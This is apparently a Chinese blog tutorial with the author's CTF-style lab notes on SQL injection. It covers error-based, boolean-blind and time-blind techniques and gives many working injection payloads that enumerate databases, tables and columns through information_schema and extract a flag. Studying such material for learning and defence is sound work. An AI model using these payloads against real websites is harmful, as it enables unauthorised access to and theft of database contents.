zoukankan      html  css  js  c++  java
  • SQL injection

    SQL Injection

    什么是SQL

    SQL 是用于访问和处理数据库的标准的计算机语言。

    SQL 能做什么?

    • SQL 面向数据库执行查询
    • SQL 可从数据库取回数据
    • SQL 可在数据库中插入新的记录
    • SQL 可更新数据库中的数据
    • SQL 可从数据库删除记录
    • SQL 可创建新数据库
    • SQL 可在数据库中创建新表
    • SQL 可在数据库中创建存储过程
    • SQL 可在数据库中创建视图
    • SQL 可以设置表、存储过程和视图的权限

    这就足够彰显出SQL在网站搭建中的重要之处,所以也是成为广大黑客比较喜欢入侵的一个地方。

    SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

    这里主要介绍三种入侵方式

    他们分别是:

    1、报错注入

    2、布尔盲注

    3、时间盲注

    报错注入

    报错注入的判断:

    输入错误的语句后发现错误会通过页面回显回来。则判断可能存在报错注入漏洞。

    三种类型的报错注入

    group by

    eg:

    ?id=-1 union select 1,count(*),(concat(floor(rand()*2),(select group_concat(flag) from security.flag)))x from users group by x
    

    这里连接一篇原理讲的非常清楚的博客:

    groupby类型报错注入原理详解

    extractvalue和updatexml

    他们是MySQL 5.1.5版本中添加的对XML文档进行查询和修改的两个函数。

    这里主要是利用非法书写的Xpath来实现报错。

    eg:

    ?id=-1 union select 1,2,extractvalue(1, concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e))
    
    updatexml(1,concat(0x23,payload,0x23),1)
    

    这里也链接一篇博客:

    基于extractvalue和updatexml报错的讲解

    布尔盲注

    这里主要是根据页面没有错误回显,只有类似于(yes或者no)的回显。

    首先还是先查看是否存在注入点

    ?id=1  //这个是有返回的
    ?id=1' //这个应该是没有返回(相当于NO)
    ?id=1 union select 1,2,3 //进行字段数的判断
    

    这里就可以判断出来是否存在注入点及其字段数。

    这里需要一些分流的思想,就是我们构造一个if语句,如果满足,执行一个正确的sql语句,否则执行一个错误的sql语句(这里还是有一点讲不清楚,举个例子,就类似于这种 select 1 union select 2但是不能用1=2这类的也不能报错,这里确实有一点没有理解)

    然后下面的内容主要就靠猜测了。

    这里直接贴上我的做题笔记

    /?id=-1 //页面没有任何反应
    /?id=-1 union select 1,2,3 //页面返回ok说明字段数为3
    /?id=1 and  if(length((database())>4),(select 1),(select 1 union select 2))
    /?id=1 and  if(length((database())=8),(select 1),(select 1 union select 2)) 
    /?id=1 and if((substr(database(),1,1)='s'),(select 1),(select 1 union select 2))
    //以下操作用burp intruder 模块进行爆破 爆出库名为security       
    /?id=1 and if(((select count(table_name) from information_schema.tables where table_schema=database())>4),(select 1),(select 1 union select 2))
    /?id=1 and if(((select count(table_name) from information_schema.tables where table_schema=database())<6),(select 1),(select 1 union select 2))
    /?id=1 and if(((select count(table_name) from information_schema.tables where table_schema=database())=5),(select 1),(select 1 union select 2))
    //猜测出来有5张表
    /?id=1 and if(((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=4),(select 1),(select 1 union select 2))
    //同上使用burp 
    //一共5张表
    //长度分别为 6 4 8 7 5
    //然后下面就到了猜表名的阶段,我感觉1号表有点像是对的,那我们就来猜一号表 
    /?id=1 and if(((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 1,1)='f'),(select 1),(select 1 union select 2))
    //用burp猜,一号表有4个长度 
    //得出答案是flag
    //下面应该猜表里面的字段了
    /?id=1 and if(((select count(column_name) from information_schema.columns where table_schema=database() and table_name='flag')<4),(select 1),(select 1 union select 2))
    /?id=1 and if(((select count(column_name) from information_schema.columns where table_schema=database() and table_name='flag')=2),(select 1),(select 1 union select 2))
    //flag表中有两个字段
    //下面开始猜测字段的长度 
    /?id=1 and if(((select length(column_name) from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1)=2),(select 1),(select 1 union select 2))
    //上面这个好像这样写有一些问题 
    /?id=1 and if((length(select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1)=2),(select 1),(select 1 union select 2))
    //经过burp的intruder模块第1个字段长度为 2,第二个字段长度为 4
    //根据经验判断应该是在第二个字段里面,我们现在来猜测第二个字段的名字 
    /?id=1 and if(((select substr(column_name,1,1) from information_schema.columns where table_schema=database() and table_name='flag' limit 1,1)='f'),(select 1),(select 1 union select 2))
    //根据burp爆破可以确定第二个字段为flag 
    //最后就是爆flag了 
    //还是先确认长度 
    //为啥这句话是错的啊? 下下下 
    /?id=1 and if(((select length(*) from security.flag where column_name='flag' limit 0,1)<200),(select 1),(select 1 union select 2))
    /?id=1 and if((ascii(substr((select flag from security.flag limit 0,1),1,1))=200),(select 1),(select 1 union select 2))
    //对于时间盲注来说,就是把if的expr2改成sleep(5) 
    
    //下面举个例子
    //还是先来猜测一下数据库的长度
    /?id=1 and if((length(database())=8),(sleep(5)),(select 1 union select 2)) 
    //跟你以往的经验,我觉的旗子应该还是会在security苦中的flag表中
    //所以直接开始猜
    /?id=1 and if((ascii(substr((select flag from security.flag limit 0,1),1,1))=200),(sleep(5)),(select 1 union select 2)) 
    //burp需要使用intruder 模块中开始攻击后左上角column中的response complete 
    
    

    时间盲注

    这里同布尔盲注一样,只是因为页面没有返回值,所以我们呢使用sleep函数通过页面响应时间来判断是否猜测的东西是正确的。详情见上面的做题笔记,下面就是时间盲注的解析。

    参考资料

    sql注入基础原理(超详细)
    一篇文章深入带你理解sql盲注
    sql盲注简单总结
    information_schema表注入
    还有更多详情参考我的CSDN收藏夹!

  • 相关阅读:
    问题:https与http有什么区别啊?
    Android应用开发是否应避免使用枚举?
    AppStore 内购验证的方法
    vs2017环境下编译log4cpp-1.1.3
    iphone开发笔记
    系统界面跳转设置[转]
    常用宏OC
    git忽略文件
    第三方开源库学习
    [转]iOS开发总结之代码规范
  • 原文地址:https://www.cnblogs.com/mudrobot/p/14128726.html
Copyright © 2011-2022 走看看